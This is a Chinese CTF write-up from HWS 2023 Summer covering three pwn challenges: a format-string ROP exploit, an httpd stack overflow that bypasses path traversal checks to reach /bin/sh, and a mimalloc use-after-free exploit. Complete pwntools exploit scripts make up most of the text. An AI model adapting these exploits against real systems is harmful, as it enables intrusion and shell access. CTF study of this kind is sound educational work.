HWS 2023 SUMMER wp
HWS 2023 SUMMER wp
解题情况
本人菜鸡一枚,就堪堪ak了pwn题,别的方向一点不会()
解题情况如下:
- fmt
- httpd
- mi
Jmp.Cliff,总分1071分,位列第34名
解题思路
fmt
进去之后发现main函数启动了一个run函数,run里面有两次printf是有格式化字符串漏洞的。
第一次printf泄露栈上数据,得到libc基址,栈基址以及elf文件基址。第二次printf利用先前泄露的地址,通过%hhn,修改run函数返回地址的低位字节,将其修改为main函数中的call run指令。
这样,run函数结束后,会返回main函数并继续调用run函数。此时我们可以每次printf都往run函数的返回地址下方写入rop链,并将run的返回地址修改为call run,如此返回直到rop链在run的返回地址下方铺好,最后一轮再把run的返回地址改为与其相近的ret指令地址即可执行rop链拿到shell。
EXP:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/fmt'
libcpath='/home/wjc/glibc-all-in-one-master/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so'
#p=process(ELFpath)
p=remote('123.60.179.52',30098)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x13AA)
b*$rebase(0x136d)
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
#debug()
ru('I need a str:')
sl('AAAAAAAA'+'%10$p%13$p%14$p' )
ru('A'*8)
ru('0x')
libcbase=get_addr_num()-0x1ed5c0
LOGTOOL['libcbase']=libcbase
ru('0x')
textbase=get_addr_num()-0x13f0
LOGTOOL['textbase']=textbase
ru('0x')
stackbase=get_addr_num()
LOGTOOL['stackbase']=stackbase
system_addr=libcbase+libc.symbols['system']
LOGTOOL['system']=system_addr
execve_addr=libcbase+libc.symbols['execve']
LOGTOOL['execve']=execve_addr
str_bin_sh=libcbase+0x00000000001b45bd
LOGTOOL['str_bin_sh']=str_bin_sh
pop_rdi_addr=libcbase+0x023b6a
pop_rsi_addr=libcbase+0x02601f
pop_rsi_addr=libcbase+0x142c92
ret_start=stackbase+0x10
run_ret=stackbase+0x8
def loop_write(value,offset):
print("send:",hex(value))
pay=''
if(value==0):
pay+='%221c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
elif(value>0xdd):
pay+='%221c%11$hhn%'+str(value-0xdd)+'c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(offset)+p64(run_ret)
elif(value<0xdd):
pay+='%'+str(value)+'c%10$hhn'+'%'+str(221-value)+'c%11$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(offset)+p64(run_ret)
elif(value==0xdd):
pay+='%216c%11$hhn%'+str(value-0xd8)+'c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(offset)+p64(run_ret)
sl(pay)
##e2->dd
pay='%221c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
ru('I need other str:')
sl(pay)
rop_chain=p64(pop_rdi_addr)
rop_chain+=p64(str_bin_sh)
rop_chain+=p64(system_addr)
LOGALL()
for i in range(len(rop_chain)/2):
print(hex(len(rop_chain)/2))
print(hex(i))
ru('I need a str:')
loop_write(ord(rop_chain[i*2]),ret_start+i*2)
ru('I need other str:')
loop_write(ord(rop_chain[i*2+1]),ret_start+i*2+1)
pay='%232c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
ru('I need a str:')
sl(pay)
pay='%232c%10$hhn'
pay=pay.ljust(0x20,'\x00')
pay+=p64(run_ret)
ru('I need other str:')
sl(pay)
it()
httpd
这是一个服务器,有很多网络函数。我们发现recv函数被封装了起来,姑且称之为recv_message,该自定义函数可以当做是一个read函数,只不过第一个参数不是文件描述符,而是套接字描述符。
服务器在接受GET类型报文时,读入第二行数据的时候有一个栈溢出漏洞,这个漏洞可以将数据写进栈上存储URL的数组,使得前面检测URL中是否含有..的检测无效。
在程序后半段,如果前面通过了对于URL的后缀名检测,那么就可以进入到后面的分支。如果URL里面含有"?",就会将这个字符位置置为0,可以做到断开前面为了过检测而加入的后缀名。进入处理?的分支之后,程序接下来会进入0x2993的函数,这个函数里有execl,是一个能启动shell的危险函数。
URL会在进入后半段程序之初经过处理,会在前面加入"htdocs",这会影响我们启动shell。但是我们可以构造一个这样的文件名:"htdocs/../bin/sh"来使得程序退回根目录去寻找/bin/sh,,也就是说我们送进去的URL必须为"/../bin/sh",这样就能启动shell了,实现这个效果需要用栈溢出绕过前面的检测。
之后获得shell,拿到flag。
EXP:
from pwn import *
import base64
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/httpd'
#libcpath='/home/wjc/glibc-all-in-one-master/libs/2.35-0ubuntu3.1_amd64/libc.so.6'
#start=gdb.debug(ELFpath,'b*$rebase(0x1e24)\nb*$rebase(0x215d)\nb*rebase(0x22c5)')
start=process(ELFpath)
p=remote('123.60.179.52',30195)
#p=remote('127.0.0.1',4000)
e=ELF(ELFpath)
#libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
rl=lambda :p.recvline()
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global start
text_base, libc_base = get_base(start, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x1b5f)
b*$rebase(0x1e24)
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(start, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
#post='GET ssss\n'
post='GET aaaa.html\n'
#post+='12345678\n'
post+='Authorization: Basic '+base64.b64encode(64*'x'+'/../bin/sh?.html\x00\n')
post+='\n'
sl(post)
it()
mi
mi_malloc采用了一种新的堆管理器,与glibc有所不同。解出这道题需要快速现场学习和摸索其机制。
通过查询资料和不断摸索,我发现在0x500范围内的堆块分配都有一套共同规则:申请堆块时,堆管理器会立刻划分一大块内存(作为一个页?)供这个大小(或者这个范围内)的堆块使用。页内的内存已经被划分为了若干内存块,所有未被分配的内存构成一个空闲链表,取出时按从低地址到高地址取出,链表也是有低地址指向高地址,被释放的堆块会在这个页内相互串联成一个被释放过的链表,如果空闲链表还有内存,申请堆块的时候是不会从被释放链表取内存块的,只有空闲链表耗尽才会试图从被释放链表取内存块,这里取内存采用先进后出原则。
每个内存块的指针在前八个字节,而这道题add delete edit show四个功能齐备,add记录了size,大小限制在0x500以内,delete存在UAF,edit需要size作为长度参考,这在glibc里是很简单的情况,在这里也不算难。
利用puts的特点,可以立刻show到所申请的堆块下一个堆块(空闲链表堆块)的空闲链表指针(有概率指针内部存在\x00发生截断,需要重试),得到堆地址后。在申请满页内内存块后,利用UAF漏洞配合edit,劫持空闲链表指针指向堆段起点处,那里存有libc地址。之后通过show刚刚劫持过去的fake chunk内容泄露libc地址。
之后故技重施,泄露libc中environ的值,得到栈地址,再用同样的办法将内存块分配到栈上,在返回地址处写上orw的rop链子即可获得flag。
EXP:
from pwn import *
context.terminal=['tmux','splitw','-h']
context.arch='amd64'
context.log_level='debug'
ELFpath='/home/wjc/Desktop/pwn'
libcpath='/home/wjc/Desktop/libc.so.6'
p=process(ELFpath)
#p=remote('123.60.179.52',30258)
e=ELF(ELFpath)
libc=ELF(libcpath)
rut=lambda s :p.recvuntil(s,timeout=0.1)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc_stack = lambda :u64(ru('\x7f')[-6:].ljust(8,'\x00'))
get_addr_num = lambda :int(r(12),16)
LOGTOOL={}
def LOGALL():
log.success("**** all result ****")
for i in LOGTOOL.items():
log.success("%-20s%s"%(i[0]+":",hex(i[1])))
def get_base(a, text_name):
text_addr = 0
libc_base = 0
for name, addr in a.libs().items():
if text_name in name:
text_addr = addr
elif "libc" in name:
libc_base = addr
return text_addr, libc_base
def debug():
global p
text_base, libc_base = get_base(p, 'noka')
script = '''
set $text_base = {}
set $libc_base = {}
b*$rebase(0x1583)
b*$rebase(0x1622)
'''.format(text_base, libc_base)
#b mprotect
#b *($text_base+0x0000000000000000F84)
#b *($text_base+0x000000000000134C)
# b *($text_base+0x0000000000000000001126)
#dprintf *($text_base+0x04441),"%c",$ax
#dprintf *($text_base+0x04441),"%c",$ax
#0x12D5
#0x04441
#b *($text_base+0x0000000000001671)
gdb.attach(p, script)
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def cmd(idx):
ru('>>')
sl(str(idx))
def add(size,content):
cmd(1)
ru('Pls input the size:')
sl(str(size))
ru('Pls input Content:')
s(content)
def dele(idx):
cmd(2)
ru('Please input the idx:')
sl(str(idx))
def edit(idx,content):
cmd(3)
ru('Please input the idx:')
sl(str(idx))
ru('Pls input the Content')
s(content)
def show(idx):
cmd(4)
ru('Please input the idx:')
sl(str(idx))
add(0x60,0x60*'x')
show(0)
ru(0x60*'x')
heapstart_str=ru('\nDone')[:-5]
print(heapstart_str)
if(len(heapstart_str)!=6):
print("recv error!")
exit()
heapstart=u64(heapstart_str.ljust(8,'\x00'))-0x60*2
LOGTOOL['heapstart']=heapstart
heapbase=heapstart-0x20080
LOGTOOL['heapbase']=heapbase
edit(0,'/flag\n')
add(0x500,'a'*0x500) #1
add(0x500,'b'*0x500) #2
dele(1)
dele(2)
add(0x500,'c'*0x500) #3
fake_heap1_addr=heapbase+0x230
edit(2,p64(fake_heap1_addr))
add(0x500,'d'*0x500) #4
add(0x500,'s'*0x10) #5
show(5)
libcbase=get_leaked_libc_stack() - 0x257820 + 0x43000
LOGTOOL['libcbase']=libcbase
environ=libcbase + libc.symbols['__environ']
LOGTOOL['__environ']=environ
open_addr=libcbase+libc.symbols['open']
LOGTOOL['open_addr']=open_addr
read_addr=libcbase+libc.symbols['read']
LOGTOOL['read_addr']=read_addr
write_addr=libcbase+libc.symbols['write']
LOGTOOL['write_addr']=write_addr
#0x0000000000023b6a : pop rdi ; ret
pop_rdi_ret=libcbase+0x23b6a
#0x000000000002601f : pop rsi ; ret
pop_rsi_ret=libcbase+0x2601f
#0x0000000000142c92 : pop rdx ; ret
pop_rdx_ret=libcbase+0x142c92
add(0x400,'a'*0x400) #6
add(0x400,'b'*0x400) #7
dele(6)
dele(7)
add(0x400,'c'*0x400) #8
add(0x400,'d'*0x400) #9
fake_heap2_addr=environ-0x10
edit(7,p64(fake_heap2_addr))
add(0x400,'/bin/sh') #10
add(0x400,0x10*'a') #11
show(11)
stackbase=get_leaked_libc_stack()
LOGTOOL['stackbase']=stackbase
rop_addr=stackbase-0x120
LOGTOOL['rop_addr']=rop_addr
add(0x300,'a'*0x300) #12
add(0x300,'b'*0x300) #13
dele(12)
dele(13)
add(0x300,'c'*0x300) #14
add(0x300,'d'*0x300) #15
add(0x300,'e'*0x300) #16
fake_heap3_addr=rop_addr
edit(13,p64(fake_heap3_addr))
add(0x300,'f'*0x300) #17
rop_chain=p64(pop_rdi_ret)+p64(heapstart)+p64(pop_rsi_ret)+p64(0)+p64(open_addr)
rop_chain+=p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(heapstart+0x60)+p64(pop_rdx_ret)+p64(0x30)+p64(read_addr)
rop_chain+=p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(heapstart+0x60)+p64(pop_rdx_ret)+p64(0x30)+p64(write_addr)
#debug()
add(0x300,rop_chain) #18
LOGALL()
it()